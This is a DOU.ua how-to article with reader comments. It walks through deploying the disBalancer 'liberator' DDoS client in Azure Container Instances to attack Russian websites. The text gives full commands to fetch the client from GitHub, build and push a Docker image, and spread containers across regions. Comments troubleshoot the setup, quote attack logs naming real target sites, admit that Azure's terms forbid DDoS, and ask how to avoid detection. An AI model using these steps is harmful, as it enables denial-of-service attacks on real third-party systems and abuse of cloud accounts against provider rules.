DDoS рашистов liberator-ом (disBalancer) с помощью Azure Container Services

Підписуйтеся на Telegram-канал «DOU #tech», щоб не пропустити нові технічні статті.

Данная статья написана по мотивам вот этой статьи и является ее развитием. Здесь я хочу показать, как можно использовать Azure Container Instances — serverless-решение от Azure для того, чтобы запустить docker container с liberator (disBalancer), чтобы атаковать рашистские ресурсы. Использование Azure Container Instances требует меньше усилий и может быть несколько дешевле, чем использование виртуальной машины (в предыдущей статье стоимость выбранной виртуальной машины составляет порядка $137 в месяц, хотя, справедливости ради, можно использовать другой размер машины, самый дешевый, B1, обойдется в $10 в месяц). Стоимость контейнера будет порядка $40, т. е. вы сможете DDOSить за меньшую стоимость Azure подписки, если она платная, либо в несколько раз дольше, если она триальная, с кредитом $200.

Что нужно сделать

1. Выписать себе новую Azure подписку. Для этого проделываем шаги 1-9 из исходной статьи. Либо залогиниться в свою существующую, если она у вас уже есть.

2. Открываем Azure Cloud Shell. В странице портала откроется консоль, куда можно писать команды. Возможно, страница предложит создать недостающие ресурсы, если их не хватает, тогда в попапе надо будет нажать ok. Выполняем команду:

az login

В результате работы команды в консоли отобразиться url и код. Надо кликнуть по url, в открывшемся окне ввести код из консоли и нажать кнопку login. После сообщения об успешной авторизации окно можно закрыть и вернуться к консоли. Там появится сообщение о подтверждении авториазции и приглашение к дальнейшей работе.

3. Поскольку официального image от команды disBalancer в dockerhub репозитории еще нет, подготовим свой docker image. Для этого надо скачать официальный disBalancer docker дистрибутив. Для этого выполняем команду:

wget -O launcher-disbalancer-docker-x64.zip https://github.com/disbalancer-project/main/raw/main/launcher-disbalancer-docker-x64.zip

После завершения работы можно убедиться, что файл благополучно доехал. Выполняем команду: ls -l В консоле должна отобразиться строчка наподобие:

-rw-r--r-- 1 ... 3321963 Mar 12 09:50 launcher-disbalancer-docker-x64.zip

4. Распакуем архив и перейдем в подкаталог с докер-файлами:

unzip launcher-disbalancer-docker-x64 
cd launcher-disbalancer-docker-x64

5. Собираем docker image на основе docker файл из дистрибутива и публикуем его на своем Azure Container Registry. Для удобства имя Azure Container Registry и ресурс группы сложим в переменные. Имена можно оставить эти, либо заменить на свои. Имя Azure Container Registry (значение в ACR_NAME) должно быть глобально уникальным.

ACR_NAME=crdisbalancer$RANDOM 
RES_GROUP=rg-disbalancer

Создаем ресурсгруппу и реестр имиджей, собираем и загружаем имидж в реестр:

az group create --resource-group $RES_GROUP --location eastus 
az acr create --resource-group $RES_GROUP --name $ACR_NAME --sku Basic --location eastus
az acr build --registry $ACR_NAME --image launcher-disbalancer-docker-x64:v1 .

В предыдущей команде точка в конце — это обязательный элемент, не упустите ее.

6. Для доступа к azure container registry необходимо создать сервисный аккаунт и для хранения его пароля необходим aure keyvault:

AKV_NAME=$ACR_NAME-vault
az keyvault create --resource-group $RES_GROUP --name $AKV_NAME
az keyvault secret set --vault-name $AKV_NAME --name $ACR_NAME-pull-pwd \
               --value $(az ad sp create-for-rbac \
                --name $ACR_NAME-pull \
                --scopes $(az acr show --name $ACR_NAME --query id --output tsv) \
                --role acrpull \
                --query password \
                --output tsv)
az keyvault secret set \
    --vault-name $AKV_NAME \
    --name $ACR_NAME-pull-usr \
    --value $(az ad sp list --display-name $ACR_NAME-pull --query [].appId --output tsv)

7. Теперь можно запустить контейнер в Azure Container Services. Для более качественной работы удобно размещать контейнеры в разных регионах, в зависимости от желаемого эффекта. Для разнообразия, можно выбрать для источника атаки локацию из Азии. Ниже список некотороых идентификаторов локаций для азиатских регионов ажура:

australiaeast
southeastasia
centralindia
eastasia
japaneast
jioindiawest
koreacentral
japanwest
jioindiacentral
koreasouth
southindia
westindia

Полный список регионов для вашей подписки можно получить с помощью команды:

az account list-locations --query "[].{name:name, region:metadata.geographyGroup, title:regionalDisplayName}" --output table

Выбираем регион, который вам нравится, и вписываем его в след команду в параметр —location. Ну или оставляем как есть.

az container create --resource-group $RES_GROUP \
    --image $ACR_NAME.azurecr.io/launcher-disbalancer-docker-x64:v1 \
    --registry-login-server $ACR_NAME.azurecr.io \
    --registry-username $(az keyvault secret show --vault-name $AKV_NAME --name $ACR_NAME-pull-usr --query value -o tsv) \
    --registry-password $(az keyvault secret show --vault-name $AKV_NAME --name $ACR_NAME-pull-pwd --query value -o tsv) \
    --cpu 1 --memory 1 \
    --name ci-disbalancer --location koreacentral

Команда может вернуть ошибку, если выбранная локация не поддерживает Azure Container Services, как, например, japanwest. В этом случае необходимо запустить команду с другой локацией. Еще возможна ситуация, когда какое-то время у системы уйдет на то, чтобы подключить службу Azure Container Services, если ее у вас еще не было. Поэтому на консоли может быть мало активности. После этого на консоли появится сообщения о развертывании и запуске контейнера. На этом все. Контейнер поднялся и запустил приложение, которое занялось выполнением своего дела. Чтобы посмотреть на его статус, можно вверху в строке поиска написать container instances и выбрать службу Serives -> Container instances. На странице в табличке будет ваш сервис. Если на нем кликнуть, откроется экран с деталями, где в левой панели можно выбрать Containers: И на открывшейся странице в нижней части выбрать табку Logs, где можно посмотреть на логи того, что происходит. Можно поднимать несколько контейнеров, желательно в разных регионах, при этом надо выполнить еще раз команду из шага 6, меняя имя в параметре —name, оно должно быть уникальным для всех ваших контейнеров, и значение в параметре —location, при желании. Стоимость работы одного такого контейнера порядка $40 в месяц.

👍ПодобаєтьсяСподобалось3
До обраногоВ обраному2
LinkedIn
Дозволені теги: blockquote, a, pre, code, ul, ol, li, b, i, del.
Ctrl + Enter
Дозволені теги: blockquote, a, pre, code, ul, ol, li, b, i, del.
Ctrl + Enter

Failed to read file:open proxies.txt: no such file or directory
Failed to get country:open GeoLite2-Country.mmdb: no such file or directory

Це не помилки, це попередження. Якщо далі в логах є повідомлення на кшталт
2022-03-29T08:20:58Z Massive https://boxberry.ru/ attacking...
то все добре.

2022-03-29T08:56:13Z Failed to read file:open proxies.txt: no such file or directory
2022-03-29T08:56:13Z Failed to get country:open GeoLite2-Country.mmdb: no such file or directory
2022-03-29T08:56:13Z Ready for attack...
2022-03-29T08:56:13Z Searching for the Kremlin’s target to defeat...
2022-03-29T08:56:16Z Searching for the Kremlin’s target to defeat...
....
restarting...
started disbalancer-go-client

и так постоянными сериями

логов, подобных

Massive boxberry.ru attacking...

не нашел

после Pulling и Pulled есть такие события:
Started
Normal
3/28/2022, 06:34 PM GMT+3
3/29/2022, 11:56 AM GMT+3
Started container
29 (count)

Killing
Normal
3/28/2022, 07:21 PM GMT+3
3/29/2022, 11:55 AM GMT+3
Killing container with id f5...
28 (count)

т.е. он не работает по назначению?

Так, в тому регіоні де ви підняли контейнер, він не може знайти цілі. Треба спробувати інший регйон.
BTW, є спосіб підняти клієнта трохи простіще і значно дешевше.
dou.ua/forums/topic/37419

а

AKV_NAME=$ACR_NAME-vault

принимает за ошибку

Це тому що ваш cloud shell в режимі PowerShell. Він має буті в режимі bash

вибачте, не зрозумів. Тобто усі ці скрипти писати в bash?

В пункті 2, коли відкрилося вікно з консолью, переконайтеся, що в заголовкі цього вікна написано Bash. Якщо написано PowerShell треба змінити на Bash за допомогою стрілочки, що поруч з надписом.

помогите мне через тимвивер. Ничего не мойму

Azure CLI можна, але не обовьязково. Все можно робити через Azure Cloud Shell — нічого локально ставити не треба. Але Cloud Shell має бути в ржимі bash.

5й пункт вообще не понял что нужно делать. Поясните плз куда заходить и что добавлять...

При виконанні 7 пункту:
az keyvault secret set —vault-name $AKV_NAME —name $ACR_NAME-pull-pwd
Помилка:
incorrect usage: [Required] —value VALUE | —file PATH

Там

az keyvault secret set —vault-name $AKV_NAME —name $ACR_NAME-pull-pwd
—value $(az ad sp create-for-rbac \

має буті на одному рядку написано.

Деплоил db1000n в контейнеры на Хероку — забанили весь аккаунт на следующий же день со ссылкой на нарушение правил www.heroku.com/policy/aup раздел 6.A.XX.
Ажур не банит?

Якщо чесно, згодно з ліцензцйною угодою на акаунт в Ажурі, його не можно використати для ddos атак. Але все залежить від особливостей софта. Простий скріпт, який в циклі робить запроси дуже швидко почне викликати підозру.

Є якісь ідеї як не викликати підозру? :)

az acr create —resource-group $RES_GROUP —name $ACR_NAME —sku Basic —location eastus

(AlreadyInUse) The registry DNS name crdisbalancer.azurecr.io is already in use. You can check if the name is already claimed using following API: docs.microsoft.com/...​ies/checknameavailability

Якщо ви бажаєте підняти більше контейнерів, не треба виполняти всі шаги, достатньо запустити 6-й, останній.

Також, я тільки зараз зрозумів, ім’я контейнер реєстра глобально унікальне. Тобто на 5му шагі вам треба в переменной

ACR_NAME=crdisbalancer

вказати інше, унікальне ім’я. Наприклад

ACR_NAME=crdisbalancer1129

Цей сінтаксіс для PS, але в bash є $RANDOM з коробки. Додав до статті, дякую за ідею.

як прокинути параметри для запуску контейнера? якщо він стартує просто сам по собі це норм, а якщо потрібно задати наприклад кількість потоків чи ще якісь параметри. Є випадки коли запуск контейнера з параметрами які стоять по-замовчуванню ложить сам контейнер дуже швидко :(

Команда az container create підтримує параметр —command-line
The command line to run when the container is started, e.g. ’/bin/bash -c myscript.sh’.

Можно робити простіше, але як альтернатива то норм..

Підписатись на коментарі